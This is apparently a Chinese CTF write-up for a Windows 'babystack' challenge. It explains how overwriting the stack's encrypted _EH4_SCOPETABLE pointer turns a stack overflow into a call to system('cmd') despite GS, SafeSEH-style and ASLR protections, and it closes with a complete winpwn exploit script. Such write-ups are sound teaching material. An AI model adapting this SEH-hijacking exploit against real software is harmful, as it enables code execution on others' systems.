保护检查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Results for : .\babystack.exe Dynamic Base : "Present" ASLR : "Present" High Entropy VA : "NotPresent" Force Integrity : "NotPresent" Isolation : "Present" NX : "Present" SEH : "Present" CFG : "Present" RFG : "NotPresent" SafeSEH : "NotPresent" GS : "Present" Authenticode : "NotPresent" .NET : "NotPresent"
程序分析 程序是一个简单的栈溢出题
直接给了 main
的地址和栈地址,然后可以进行栈溢出和任意地址读
同时在汇编情况下可以看见有 SEH
的操作
由于程序最后是通过 exit(0)
退出的,所以我们并不能够劫持返回地址来控制程序,由于程序开启了 SEH
,因此我们需要考虑通过覆写虚表的方式来进行 getshell
程序开头有以下的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 .text:004010B 0 ; __unwind { .text:004010B 0 push ebp .text:004010B 1 mov ebp, esp .text:004010B 3 push 0F FFFFFFEh .text:004010B 5 push offset stru_403688 .text:004010B A push offset __except_handler4 .text:004010B F mov eax, large fs:0 .text:004010 C5 push eax .text:004010 C6 add esp, 0F FFFFF40h .text:004010 CC mov eax, ___security_cookie .text:004010 D1 xor [ebp+ms_exc.registration.ScopeTable], eax .text:004010 D4 xor eax, ebp .text:004010 D6 mov [ebp+var_1C], eax .text:004010 D9 push ebx .text:004010 DA push esi .text:004010 DB push edi .text:004010 DC push eax .text:004010 DD lea eax, [ebp+ms_exc.registration] .text:004010E0 mov large fs:0 , eax .text:004010E6 mov [ebp+ms_exc.old_esp], esp .text:004010E9 mov dword ptr [ebp+var_B8], 0 .text:004010F 3 mov [ebp+var_CC], 1 .text:004010F D mov [ebp+var_D0], 1
其中的 stru_403688
为 _EH4_SCOPETABLE
结构体
1 2 3 4 5 6 7 8 9 .rdata:00403688 stru_403688 dd 0F FFFFFE4h ; GSCookieOffset .rdata:00403688 ; DATA XREF: _main+5 ↑o .rdata:00403688 dd 0 ; GSCookieXOROffset .rdata:00403688 dd 0F FFFFF20h ; EHCookieOffset .rdata:00403688 dd 0 ; EHCookieXOROffset .rdata:00403688 dd 0F FFFFFFEh ; ScopeRecord.EnclosingLevel .rdata:00403688 dd offset loc_401348 ; ScopeRecord.FilterFunc .rdata:00403688 dd offset loc_40134E ; ScopeRecord.HandlerFunc .rdata:004036 A4 align 8
结构体结构如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 struct _EH4_SCOPETABLE { DWORD GSCookieOffset; DWORD GSCookieXOROffset; DWORD EHCookieOffset; DWORD EHCookieXOROffset; _EH4_SCOPETABLE_RECORD ScopeRecord[1 ]; }; struct _EH4_SCOPETABLE_RECORD { DWORD EnclosingLevel; long (*FilterFunc)(); union { void (*HandlerAddress)(); void (*FinallyFunc)(); }; };
其中的 FilterFunc
与 FinallyFunc
是我们自定义的 __except
或 __finally
函数的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text:00401348 .text:00401348 loc_401348: ; DATA XREF: .rdata:stru_403688↓o .text:00401348 ; __except filter .text:00401348 000 B8 01 00 00 00 mov eax, 1 .text:0040134 D 000 C3 retn .text:0040134 E ; --------------------------------------------------------------------------- .text:0040134 E .text:0040134 E loc_40134E: ; DATA XREF: .rdata:stru_403688↓o .text:0040134 E ; __except(loc_401348) .text:0040134 E 0E4 8B 65 E8 mov esp, [ebp+ms_exc.old_esp] .text:00401351 0E0 68 F8 31 40 00 push offset aYouKillMeJustB ; "you kill me just because you ask a wron" ... .text:00401356 0E4 FF 15 B8 30 40 + call ds:puts .text:00401356 0E4 00 .text:0040135 C 0E4 83 C4 04 add esp, 4 .text:0040135F 0E0 6 A 00 push 0 ; Code .text:00401361 0E4 FF 15 8 C 30 40 + call ds:__imp_exit .text:00401361 0E4 00
然后是 fs
寄存器,它指向上面所讲的 TEB
结构,所以上面 lea eax, [ebp-0x10]
与 mov large fs:0, eax
指令就是在栈中插入一个 SEH
异常处理结构体到 TIB
顶部,__except_handler4
是添加的系统默认异常处理回调函数,当发生异常时会首先执行它。
1 2 3 4 int __cdecl _except_handler4(int a1, int a2, int a3, int a4){ return except_handler4_common((int )&__security_cookie, (int )__security_check_cookie, a1, a2, a3, a4); }
嵌套调用了 except_handler4_common
函数,该函数首先会检查栈上的 GS
值,然后根据 securityCookies
解密 _EH4_SCOPETABLE
的地址,最终会调用到 _EH4_SCOPETABLE
里面的 FilterFunc
与 FinallyFunc
函数,也就是我们自定义的 __except
或 __finally
函数的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 void __cdecl ValidateLocalCookies (void (__fastcall *cookieCheckFunction)(unsigned int ), _EH4_SCOPETABLE *scopeTable, char *framePointer) { unsigned int v3; unsigned int v4; if ( scopeTable->GSCookieOffset != -2 ) { v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int )&framePointer[scopeTable->GSCookieXOROffset]; __guard_check_icall_fptr(cookieCheckFunction); ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3); } v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int )&framePointer[scopeTable->EHCookieXOROffset]; __guard_check_icall_fptr(cookieCheckFunction); ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4); } int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int ), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context){ scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8 )); framePointer = (char *)(sehFrame + 16 ); scopeTable = scopeTable_1; ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16 )); __except_validate_context_record(context); if ( exceptionRecord->ExceptionFlags & 0x66 ) { ...... } else { exceptionPointers.ExceptionRecord = exceptionRecord; exceptionPointers.ContextRecord = context; tryLevel = *(_DWORD *)(sehFrame + 12 ); *(_DWORD *)(sehFrame - 4 ) = &exceptionPointers; if ( tryLevel != -2 ) { while ( 1 ) { v8 = tryLevel + 2 * (tryLevel + 2 ); filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8); scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8); encloseingLevel = scopeTableRecord->EnclosingLevel; scopeTableRecord_1 = scopeTableRecord; if ( filterFunc ) { filterFuncRet = _EH4_CallFilterFunc(filterFunc); ...... if ( filterFuncRet > 0 ) { ...... _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16 ); ...... } } ...... tryLevel = encloseingLevel; if ( encloseingLevel == -2 ) break ; scopeTable_1 = scopeTable; } ...... } } ...... }
如果能够伪造一个 _EH4_SCOPETABLE
结构,里面的 FilterFunc
函数指针写成自己的,其他字段不改变,覆盖栈中的 _EH4_SCOPETABLE_addr
为伪造地址,就能实现任意地址函数调用。
最终函数栈帧如下
伪造的结构如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 fake_scope_table{ GS_COOKie_Offset; GS_Cookie_XOR_Offset; EH_Cookie_Offset; EH_Cookie_XOR_Offset; ScopeRecord.EnclosingLevel; FilterFunc; system('cmd' ); } payload += fake_scope_table; payload += padding; payload += GS_Cookie; payload += aaaa; payload += bbbb; payload += Next_SEH_Frame; payload += SEH_Handler; payload += fake_scope_table_addr;
漏洞利用 首先是泄露地址,我们要确保泄露出来栈上我们所需要的东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ru("stack address = 0x" ) stack_addr = int (ru("\r\n" ),16 ) print (f"[+] stack_addr : {hex (stack_addr)} " )ru("main address = 0x" ) main_addr = int (ru("\r\n" ),16 ) print (f"[+] main_addr : {hex (main_addr)} " )ebp_addr = stack_addr + 0x9c gs_cookie = arb_read(ebp_addr - 0x1c ) security_cookie = gs_cookie ^ ebp_addr next_seh_frame = arb_read(ebp_addr - 0x10 ) seh_handle = arb_read(ebp_addr - 0xc ) shell_addr = main_addr + 0x40138D - 0x4010B0
随后根据所得到的数据来伪造 fake_scope_table
1 2 3 4 5 6 7 8 fake_scope_table = "" fake_scope_table += p32(0x0FFFFFFE4 ) fake_scope_table += p32(0 ) fake_scope_table += p32(0x0FFFFFF20 ) fake_scope_table += p32(0 ) fake_scope_table += p32(0x0FFFFFFFE ) fake_scope_table += p32(shell_addr) fake_scope_table_addr = stack_addr + 0x4
最后构造栈溢出的 payload
1 2 3 4 5 6 7 8 9 10 payload = "" payload += "a" * 4 payload += fake_scope_table.ljust(0x7c , "b" ) payload += p32(gs_cookie) payload += "c" * 8 payload += p32(next_seh_frame) payload += p32(seh_handle) payload += p32(fake_scope_table_addr ^ security_cookie) payload += p32(0 ) read_buf(payload)
然后再通过任意地址读读一个非法地址即可触发 SEH
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from winpwn import *context.log_level = "debug" def rc (num ): return r.recv(num) def ru (prefix,drop = True ): data = r.recvuntil(prefix) if drop: return data[:-len (prefix)] else : return data def sd (content ): r.send(content) def sl (content ): r.sendline(content) def sda (prefix,content ): ru(prefix) sd(content) def sla (prefix,content ): ru(prefix) sl(content) def arb_read (addr ): sla("Do you want to know more?\r\n" ,"yes" ) sla("Where do you want to know\r\n" ,str (addr)) ru("value is 0x" ) val = int (ru("\r\n" ),16 ) return val def read_buf (payload ): sla("Do you want to know more?\r\n" ,"n" ) sleep(0.1 ) sl(payload) def trigger (): sla("Do you want to know more?\r\n" ,"yes" ) sla("Where do you want to know\r\n" ,"0" ) r = process("./babystack.exe" ) ru("stack address = 0x" ) stack_addr = int (ru("\r\n" ),16 ) print (f"[+] stack_addr : {hex (stack_addr)} " )ru("main address = 0x" ) main_addr = int (ru("\r\n" ),16 ) print (f"[+] main_addr : {hex (main_addr)} " )ebp_addr = stack_addr + 0x9c gs_cookie = arb_read(ebp_addr - 0x1c ) security_cookie = gs_cookie ^ ebp_addr next_seh_frame = arb_read(ebp_addr - 0x10 ) seh_handle = arb_read(ebp_addr - 0xc ) shell_addr = main_addr + 0x2dd fake_scope_table = "" fake_scope_table += p32(0x0FFFFFFE4 ) fake_scope_table += p32(0 ) fake_scope_table += p32(0x0FFFFFF20 ) fake_scope_table += p32(0 ) fake_scope_table += p32(0x0FFFFFFFE ) fake_scope_table += p32(shell_addr) fake_scope_table_addr = stack_addr + 0x4 payload = "" payload += "a" * 4 payload += fake_scope_table.ljust(0x7c , "b" ) payload += p32(gs_cookie) payload += "c" * 8 payload += p32(next_seh_frame) payload += p32(seh_handle) payload += p32(fake_scope_table_addr ^ security_cookie) payload += p32(0 ) read_buf(payload) trigger() r.interactive()